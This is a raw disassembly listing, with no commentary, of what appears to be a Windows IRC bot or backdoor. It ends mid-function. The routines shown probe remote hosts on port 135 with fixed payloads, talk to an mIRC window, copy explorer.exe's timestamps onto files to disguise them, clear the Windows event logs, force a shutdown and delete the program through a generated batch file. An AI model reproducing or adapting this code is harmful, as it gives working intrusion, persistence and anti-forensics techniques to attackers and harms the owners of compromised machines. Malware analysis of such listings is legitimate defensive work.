call sub_41BF52
mov [ebp+var_4], eax
fild [ebp+var_4]
fmul dbl_4286E0
call sub_41CE04
cmp eax, 1
jnz short loc_418029
call sub_41BF52
call sub_41BF52
push 66h
cdq
pop ecx
idiv ecx
push off_43AEF8[edx*4]
jmp short loc_418042
; ---------------------------------------------------------------------------
loc_418029: ; CODE XREF: sub_417FDF+2Fj
call sub_41BF52
call sub_41BF52
cdq
mov ecx, 0C0h
idiv ecx
push off_43ABF8[edx*4]
loc_418042: ; CODE XREF: sub_417FDF+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C520
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B650
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
call sub_41BF52
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul dbl_4286D8
call sub_41CE04
mov ebx, eax
call sub_41BF52
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fimul [ebp+var_4]
fmul dbl_4286D0
call sub_41CE04
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_4180B5
cmp esi, 3
jnz short loc_4180AC
cmp ebx, 1
jz short loc_4180B5
loc_4180AC: ; CODE XREF: sub_417FDF+C6j
cmp eax, 1
jnz loc_41816E
loc_4180B5: ; CODE XREF: sub_417FDF+C1j
; sub_417FDF+CBj
call sub_41BF52
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul dbl_4286C8
call sub_41CE04
push off_43AEF8[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C520
lea ebx, [ebp+esi+var_2C]
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C620
add esp, 10h
test eax, eax
jnz short loc_41815B
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C620
pop ecx
test eax, eax
pop ecx
jnz short loc_41815B
call sub_41BF52
mov dword ptr [ebp+var_10+4], eax
dec esi
fild dword ptr [ebp+var_10+4]
mov dword ptr [ebp+var_10+4], esi
fild dword ptr [ebp+var_10+4]
fmulp st(1), st
fmul dbl_4286D0
call sub_41CE04
cmp eax, 1
jnz short loc_41815B
push edi
call sub_41B650
and dword ptr [ebp+var_10+4], 0
mov dword ptr [ebp+var_10], eax
fild [ebp+var_10]
pop ecx
fstp qword ptr [ebp-8]
call sub_41BF52
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul qword ptr [ebp-8]
fmul dbl_4286D0
call sub_41CE04
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_41815B: ; CODE XREF: sub_417FDF+110j
; sub_417FDF+121j ...
push dword ptr [ebp+var_18+4]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C850
add esp, 0Ch
loc_41816E: ; CODE XREF: sub_417FDF+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B650
mov esi, eax
mov [ebp+var_4], esi
movsx eax, [ebp+esi+var_2D]
push eax
call sub_41DCE8
pop ecx
test eax, eax
pop ecx
jnz loc_4183C5
movsx eax, [ebp+esi+var_2D]
push eax
push edi
xor ebx, ebx
call sub_41C620
pop ecx
test eax, eax
pop ecx
jnz loc_4182C7
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4286D0
call sub_41CE04
cmp esi, 3
jz short loc_4181D8
cmp eax, 1
jnz loc_4182C7
loc_4181D8: ; CODE XREF: sub_417FDF+1EEj
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_41821C
push edi
call sub_41B650
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul dbl_4286D0
call sub_41CE04
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41823A
; ---------------------------------------------------------------------------
loc_41821C: ; CODE XREF: sub_417FDF+202j
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286C0
call sub_41CE04
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41823A: ; CODE XREF: sub_417FDF+23Bj
inc esi
xor ebx, ebx
mov [ebp+var_4], esi
inc ebx
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286B8
call sub_41CE04
cmp esi, 3
jz short loc_418260
cmp eax, ebx
jnz short loc_4182C7
loc_418260: ; CODE XREF: sub_417FDF+27Bj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_4182A5
push edi
call sub_41B650
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul dbl_4286D0
call sub_41CE04
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_4182C3
; ---------------------------------------------------------------------------
loc_4182A5: ; CODE XREF: sub_417FDF+28Bj
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286C0
call sub_41CE04
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_4182C3: ; CODE XREF: sub_417FDF+2C4j
inc esi
mov [ebp+var_4], esi
loc_4182C7: ; CODE XREF: sub_417FDF+1C4j
; sub_417FDF+1F3j ...
cmp esi, 6
jge short loc_418347
call sub_41BF52
cmp esi, 5
jge short loc_4182E4
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286D8
jmp short loc_4182FD
; ---------------------------------------------------------------------------
loc_4182E4: ; CODE XREF: sub_417FDF+2F5j
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4286D0
loc_4182FD: ; CODE XREF: sub_417FDF+303j
call sub_41CE04
test eax, eax
jnz short loc_418320
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286B0
call sub_41CE04
mov cl, 30h
jmp short loc_41833D
; ---------------------------------------------------------------------------
loc_418320: ; CODE XREF: sub_417FDF+325j
cmp eax, 1
jnz short loc_418347
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286C0
call sub_41CE04
mov cl, 41h
loc_41833D: ; CODE XREF: sub_417FDF+33Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_418347: ; CODE XREF: sub_417FDF+2EBj
; sub_417FDF+344j
cmp ebx, 2
jge short loc_4183C5
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4286D0
call sub_41CE04
cmp eax, 1
jnz short loc_4183C5
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286B0
call sub_41CE04
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286A8
call sub_41CE04
cmp eax, 1
jnz short loc_4183C5
cmp ebx, eax
jge short loc_4183C5
call sub_41BF52
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4286A0
call sub_41CE04
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_4183C5: ; CODE XREF: sub_417FDF+1ACj
; sub_417FDF+36Bj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BC60
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417FDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4183DE proc near ; CODE XREF: sub_418416+125p
; sub_418416+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_41840C
loc_4183EF: ; CODE XREF: sub_4183DE+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DD40
add esp, 0Ch
test eax, eax
jz short loc_418412
inc esi
cmp esi, edi
jl short loc_4183EF
loc_41840C: ; CODE XREF: sub_4183DE+Fj
xor al, al
loc_41840E: ; CODE XREF: sub_4183DE+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418412: ; CODE XREF: sub_4183DE+27j
mov al, 1
jmp short loc_41840E
sub_4183DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418416 proc near ; CODE XREF: .XPack0:0040DEC7p
; .XPack0:0040DFB3p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C190
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_418457
dec eax
jz short loc_418435
dec eax
loc_41842F: ; CODE XREF: sub_418416+57j
xor eax, eax
loc_418431: ; CODE XREF: sub_418416+3Fj
; sub_418416+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_418435: ; CODE XREF: sub_418416+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CE348 ; inet_addr
push eax
call sub_40C1D4
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_418431
; ---------------------------------------------------------------------------
loc_418457: ; CODE XREF: sub_418416+13j
push 6
push 1
push 2
call dword_4CE388 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_41842F
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CE308 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A7C5
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CE2B0 ; connect
cmp eax, edi
jz loc_418573
push ebx
push 48h
push offset dword_43B800
push esi
call dword_4CE358 ; send
cmp eax, edi
jz loc_418573
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CE320 ; recv
cmp eax, edi
jz loc_418573
cmp [ebp+var_200E], 0Ch
jnz short loc_418573
push ebx
push 18h
push offset dword_43B84C
push [ebp+arg_4]
call dword_4CE358 ; send
cmp eax, edi
jz short loc_418573
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CE320 ; recv
mov esi, eax
cmp esi, edi
jz short loc_418573
cmp [ebp+var_200E], 2
jnz short loc_418573
push 10h
push offset loc_43B868
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4183DE
add esp, 10h
test al, al
jz short loc_418553
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_418573
; ---------------------------------------------------------------------------
loc_418553: ; CODE XREF: sub_418416+12Fj
push 10h
push offset dword_43B87C
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4183DE
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_418573: ; CODE XREF: sub_418416+9Bj
; sub_418416+B2j ...
push [ebp+arg_4]
call dword_4CE3A0 ; closesocket
mov eax, ebx
pop ebx
jmp loc_418431
sub_418416 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418584 proc near ; CODE XREF: sub_401AA1+B93p
; sub_401AA1+BCDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_41860F
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_41860F
cmp [ebp+arg_8], esi
jz short loc_41860F
cmp byte ptr [eax], 0
jz short loc_41860F
push ebx
push edi
call sub_426B09
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_41860A
push [ebp+arg_4]
push edi
call sub_41BF70
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_418603
sub eax, edi
push eax
push edi
push ebx
call sub_41BC60
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B650
push eax
push [ebp+arg_8]
push ebx
call sub_41C850
push [ebp+arg_4]
call sub_41B650
add eax, esi
push eax
push ebx
call sub_41C530
push ebx
push edi
call sub_41C520
add esp, 30h
mov esi, edi
loc_418603: ; CODE XREF: sub_418584+3Cj
push ebx
call sub_41B721
pop ecx
loc_41860A: ; CODE XREF: sub_418584+2Bj
mov eax, esi
pop ebx
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41860F: ; CODE XREF: sub_418584+Cj
; sub_418584+13j ...
xor eax, eax
loc_418611: ; CODE XREF: sub_418584+89j
pop edi
pop esi
pop ebp
retn
sub_418584 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418615 proc near ; CODE XREF: sub_401925+E9p
; sub_410EAC+F4p
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_41BC00
mov esi, [ebp+arg_0]
push esi
call sub_41B650
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_41864D
or eax, 0FFFFFFFFh
jmp short loc_4186B4
; ---------------------------------------------------------------------------
loc_41864D: ; CODE XREF: sub_418615+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_41866E
loc_418659: ; CODE XREF: sub_418615+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_418666
cmp dl, 0Dh
jnz short loc_418669
loc_418666: ; CODE XREF: sub_418615+4Aj
mov [ecx+esi], bl
loc_418669: ; CODE XREF: sub_418615+4Fj
inc ecx
cmp ecx, eax
jl short loc_418659
loc_41866E: ; CODE XREF: sub_418615+42j
xor edx, edx
cmp eax, ebx
jle short loc_418696
loc_418674: ; CODE XREF: sub_418615+7Fj
cmp [edx+esi], bl
jnz short loc_418691
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_418691
cmp edi, 1F4h
jge short loc_418696
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_418691: ; CODE XREF: sub_418615+62j
; sub_418615+6Aj
inc edx
cmp edx, eax
jl short loc_418674
loc_418696: ; CODE XREF: sub_418615+5Dj
; sub_418615+72j
cmp [ebp+arg_4], ebx
jz short loc_4186B2
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call near ptr sub_41C9B0
add esp, 0Ch
loc_4186B2: ; CODE XREF: sub_418615+84j
mov eax, edi
loc_4186B4: ; CODE XREF: sub_418615+36j
pop edi
pop esi
pop ebx
leave
retn
sub_418615 endp
; =============== S U B R O U T I N E =======================================
sub_4186B9 proc near ; CODE XREF: sub_418713+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4186F2
push ebx
mov ebx, edi
loc_4186D6: ; CODE XREF: sub_4186B9+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4186F5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_4186D6
pop ebx
loc_4186F2: ; CODE XREF: sub_4186B9+18j
pop edi
pop esi
retn
sub_4186B9 endp
; =============== S U B R O U T I N E =======================================
sub_4186F5 proc near ; CODE XREF: sub_4186B9+25p
; sub_418713+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DDEC
cmp al, 61h
pop ecx
jl short loc_418710
cmp al, 7Ah
jg short loc_418710
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418710: ; CODE XREF: sub_4186F5+Ej
; sub_4186F5+12j
xor eax, eax
retn
sub_4186F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418713 proc near ; CODE XREF: sub_416026+10p
; sub_416058+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C190
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B650
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B650
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_4186B9
add esp, 14h
dec esi
mov edi, esi
jmp short loc_4187C5
; ---------------------------------------------------------------------------
loc_418753: ; CODE XREF: sub_418713+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DDEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DDEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4187C3
loc_418775: ; CODE XREF: sub_418713+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4186F5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418796
mov eax, ecx
loc_418796: ; CODE XREF: sub_418713+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_4187D3
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DDEC
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_41DDEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418775
loc_4187C3: ; CODE XREF: sub_418713+60j
dec edi
dec esi
loc_4187C5: ; CODE XREF: sub_418713+3Ej
test esi, esi
jg short loc_418753
mov eax, [ebp+arg_0]
add eax, edi
loc_4187CE: ; CODE XREF: sub_418713+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4187D3: ; CODE XREF: sub_418713+88j
xor eax, eax
jmp short loc_4187CE
sub_418713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187D7 proc near ; CODE XREF: sub_401AA1+669Ap
; sub_401AA1+765Dp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_428094 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_428168 ; FormatMessageA
lea eax, [ebp+var_100]
loc_418810: ; CODE XREF: sub_4187D7+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_41881C
cmp cl, 9
jnz short loc_41881F
loc_41881C: ; CODE XREF: sub_4187D7+3Ej
inc eax
jmp short loc_418810
; ---------------------------------------------------------------------------
loc_41881F: ; CODE XREF: sub_4187D7+43j
; sub_4187D7+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_418839
mov cl, [eax]
cmp cl, 2Eh
jz short loc_41881F
cmp cl, 21h
jl short loc_41881F
loc_418839: ; CODE XREF: sub_4187D7+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DDA78
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41BFF0
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_4187D7 endp
; =============== S U B R O U T I N E =======================================
sub_418861 proc near ; CODE XREF: sub_401AA1+2433p
push esi
push 0
call dword_4CE2D8 ; OpenClipboard
test eax, eax
jz short loc_418898
push 1
call dword_4CE2F8 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_418898
push edi
push esi
call dword_428170 ; GlobalLock
push esi
mov edi, eax
call dword_42816C ; GlobalUnlock
call dword_4CE35C ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_418898: ; CODE XREF: sub_418861+Bj
; sub_418861+19j
xor eax, eax
pop esi
retn
sub_418861 endp
; =============== S U B R O U T I N E =======================================
sub_41889C proc near ; CODE XREF: sub_401AA1+7416p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CE314 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_418918
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_42817C ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_428178 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41BEF6
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CE364 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4CE364 ; SendMessageA
push ebx
call dword_428174 ; UnmapViewOfFile
push edi
call dword_428070 ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_41891A
; ---------------------------------------------------------------------------
loc_418918: ; CODE XREF: sub_41889C+16j
xor eax, eax
loc_41891A: ; CODE XREF: sub_41889C+7Aj
pop edi
pop esi
pop ebp
retn
sub_41889C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41891E proc near ; CODE XREF: sub_40121E+200p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CE3C0 ; SearchPathA
test eax, eax
jz short loc_4189BD
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4280F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4189BD
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_428184 ; GetFileTime
push ebx
mov ebx, dword_428070
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4189BD
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_428180 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_4189BD: ; CODE XREF: sub_41891E+2Aj
; sub_41891E+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41891E endp
; =============== S U B R O U T I N E =======================================
sub_4189C2 proc near ; CODE XREF: sub_401AA1+163Cp
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419CCF
pop ecx
pop ecx
push 50005h
push 6
call dword_4CE248 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_4189C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4189E4 proc near ; CODE XREF: sub_401AA1+26CFp
; sub_4169AB+45Fp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_42A97C, esi
push edi
jz short loc_418A08
cmp dword_4CE3D4, esi
jnz short loc_418A08
push esi
call sub_401000
pop ecx
loc_418A08: ; CODE XREF: sub_4189E4+13j
; sub_4189E4+1Bj
call sub_40B417
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4280B8 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41BEF6
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_4280F8 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_418B68
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41BEF6
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_4280F0 ; WriteFile
push edi
call dword_428070 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BC00
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BC00
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_4404C4
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4280A4 ; GetModuleHandleA
push eax
call dword_428078 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4280A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_418B10
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_42809C ; SetFileAttributesA
loc_418B10: ; CODE XREF: sub_4189E4+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41BEF6
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_428188 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_428074 ; CreateProcessA
loc_418B68: ; CODE XREF: sub_4189E4+72j
pop edi
pop esi
leave
retn
sub_4189E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B6C proc near ; CODE XREF: sub_401AA1+70A1p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4280D0 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418C02
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CE288 ; OpenEventLogA
push edi
push eax
call dword_4CE298 ; ClearEventLogA
test eax, eax
jz short loc_418BF4
push [ebp+arg_10]
push offset dword_43B9B0
loc_418BCD: ; CODE XREF: sub_418B6C+94j
lea eax, [ebp+var_294]
push eax
call sub_41BEF6
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 20h
jmp short loc_418C2C
; ---------------------------------------------------------------------------
loc_418BF4: ; CODE XREF: sub_418B6C+57j
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_43B974
jmp short loc_418BCD
; ---------------------------------------------------------------------------
loc_418C02: ; CODE XREF: sub_418B6C+3Fj
lea eax, [ebp+var_294]
push offset unk_43B930
push eax
call sub_41BEF6
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 1Ch
loc_418C2C: ; CODE XREF: sub_418B6C+86j
pop edi
leave
retn
sub_418B6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C2F proc near ; CODE XREF: sub_401AA1+5524p
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
